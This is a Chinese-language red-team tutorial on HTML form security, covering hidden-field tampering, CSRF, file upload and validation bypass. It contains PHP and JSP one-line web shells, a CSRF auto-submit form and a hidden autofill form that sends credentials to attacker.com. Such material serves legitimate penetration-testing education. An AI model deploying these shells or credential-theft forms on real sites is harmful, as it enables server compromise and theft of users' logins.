目录
一、表单基本结构
<form action="/submit" method="POST" enctype="application/x-www-form-urlencoded">
<label for="username">用户名</label>
<input type="text" id="username" name="username" placeholder="请输入用户名" required>
<label for="password">密码</label>
<input type="password" id="password" name="password" minlength="6">
<input type="hidden" name="csrf_token" value="abc123def456">
<button type="submit">登录</button>
</form>
核心元素:
<form>:表单容器,定义提交目标(action)、方法(method)、编码(enctype)<input>:最常用的表单控件,type决定行为<label>:标签,for属性关联input的id,提升可访问性和点击区域<button>:提交按钮,type可为submit/reset/button<select>+<option>:下拉选择<textarea>:多行文本
二、Input类型详解
| type | 说明 | 安全关注 |
|---|---|---|
text | 单行文本 | 最常见注入点 |
password | 密码(掩码显示) | 浏览器可能保存明文 |
hidden | 隐藏字段 | CSRF Token载体,也是篡改目标 |
checkbox | 复选框 | 可篡改布尔权限 |
radio | 单选按钮 | 可篡改选项 |
file | 文件上传 | WebShell上传入口 |
submit | 提交按钮 | formaction属性可被注入 |
email | 邮箱(浏览器验证格式) | 客户端验证不可信 |
number | 数字(滚轮调节) | 可尝试负数/超大数溢出 |
url | URL(浏览器验证格式) | 同上 |
date | 日期 | 日期逻辑漏洞 |
search | 搜索框 | 搜索型注入 |
range | 滑块 | JavaScript可操控的值域 |
三、表单提交机制
Content-Type 三种方式
1. application/x-www-form-urlencoded(默认)
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=admin&password=123456&csrf_token=abc
2. multipart/form-data(有文件时)
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="username"
admin
------WebKitFormBoundary
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary--
3. application/json(AJAX常见)
POST /api/login HTTP/1.1
Content-Type: application/json
{"username":"admin","password":"123456"}
红队关注:
- 浏览器默认只能发起urlencoded和multipart两种。JSON必须通过JS构造
- CSRF攻击针对urlencoded表单最容易,multipart可被HTML form模拟,JSON需要特殊技巧
- 服务端可能只接受JSON而忽略type检查,可通过修改Content-Type绕过
四、隐藏字段与CSRF
隐藏字段(<input type="hidden">)在页面上不可见但随表单提交,常用于传输CSRF Token、用户ID、价格等敏感数据。
典型攻击场景
场景1:修改价格
原表单:<input type="hidden" name="price" value="999">
攻击:改为 <input type="hidden" name="price" value="1">
场景2:修改用户角色
原表单:<input type="hidden" name="role_id" value="3"> (普通用户)
攻击:改为 <input type="hidden" name="role_id" value="1"> (管理员)
场景3:修改目标用户ID(IDOR)
原表单:<input type="hidden" name="target_user_id" value="123">
攻击:改为 <input type="hidden" name="target_user_id" value="1"> (admin)
CSRF攻击表单模板
攻击者在evil.com放置自动提交表单:
<form action="https://bank.com/transfer" method="POST" id="csrfForm">
<input type="hidden" name="to_account" value="attacker">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrfForm').submit();</script>五、文件上传机制
文件上传的HTML层
<form action="/upload" method="POST" enctype="multipart/form-data">
<input type="file" name="file" accept=".jpg,.png,.gif">
<input type="submit" value="上传">
</form>关键属性:
enctype="multipart/form-data"必须accept仅在客户端限制——完全不可信multiple允许多文件
绕过客户端文件限制
- 修改accept属性(DevTools / Burp拦截)
- 直接构造multipart请求(curl / Burp Repeater)
- 修改文件扩展名(shell.php → shell.php.jpg 或 shell.php%00.jpg)
- 修改Content-Type头(image/jpeg + PHP代码在文件内容中)
WebShell上传实战模板
// shell.php - PHP一句话
<?php @eval($_POST['cmd']); ?>
// 访问:POST /uploads/shell.php cmd=system('id');// shell.jsp - Java
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>六、自动填充与凭据窃取
浏览器自动填充机制
浏览器会根据 name 属性自动填充已保存的凭据:
<input type="text" name="username" autocomplete="username">
<input type="password" name="password" autocomplete="current-password">凭据钓鱼表单
攻击者在XSS注入后插入隐藏表单窃取自动填充的数据:
<form action="https://attacker.com/steal" method="POST">
<input type="text" name="username" autocomplete="username" style="opacity:0">
<input type="password" name="password" autocomplete="current-password" style="opacity:0">
</form>
<script>document.forms[0].submit();</script>浏览器的自动填充策略越来越严格(需用户交互),但 autocomplete="off" 在某些浏览器上不被尊重。
七、表单验证绕过的艺术
客户端验证不可信
<!-- 客户端验证 -->
<input type="text" name="email" pattern="[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,}$" required>
<input type="number" name="age" min="18" max="120">
<input type="text" name="name" maxlength="20">所有客户端验证都可通过以下方式绕过:
- Burp Suite 拦截修改请求
- DevTools 删除/修改HTML属性
- 直接 curl 构造请求
- 修改JavaScript验证函数(如果存在)
常见服务端验证漏洞
| 漏洞类型 | 示例 | 利用 |
|---|---|---|
| 客户端验证缺失 | 无服务端重复验证 | 直接提交恶意数据 |
| 黑名单不完整 | 只过滤 <script> | <img onerror=...>, <svg onload=...> |
| 白名单遗漏 | 只检查扩展名 | shell.php.jpg |
| 类型混淆 | 期望int却接受string | SQL/命令注入 |
| 长度验证仅在前端 | maxlength=20 | Burp改长度发超大payload |
八、红队视角总结
表单攻击速查表
| 攻击向量 | 修改点 | 工具 |
|---|---|---|
| 参数篡改 | hidden/value/name | Burp Suite |
| CSRF | 跨域自动提交表单 | 自建evil页面 |
| 文件上传 | accept/enctype/MIME | curl + Burp |
| 客户端验证绕过 | pattern/required/maxlength | Burp Repeater |
| 凭据窃取 | autocomplete + hidden表单 | XSS注入 |
| 逻辑漏洞 | 价格/数量/角色ID | Burp手动测试 |
测试检查清单
- 所有隐藏字段修改后是否被服务端接受?
- 价格/数量/优惠券参数是否在服务端验证?
- 文件上传是否检查了文件内容和MIME类型?
- 是否存在CSRF Token?Token是否可预测?
- 修改Content-Type后服务端行为是否变化?
- 是否使用了不安全的HTTP方法(PUT/DELETE通过form无法发起,但CSRF仍可能)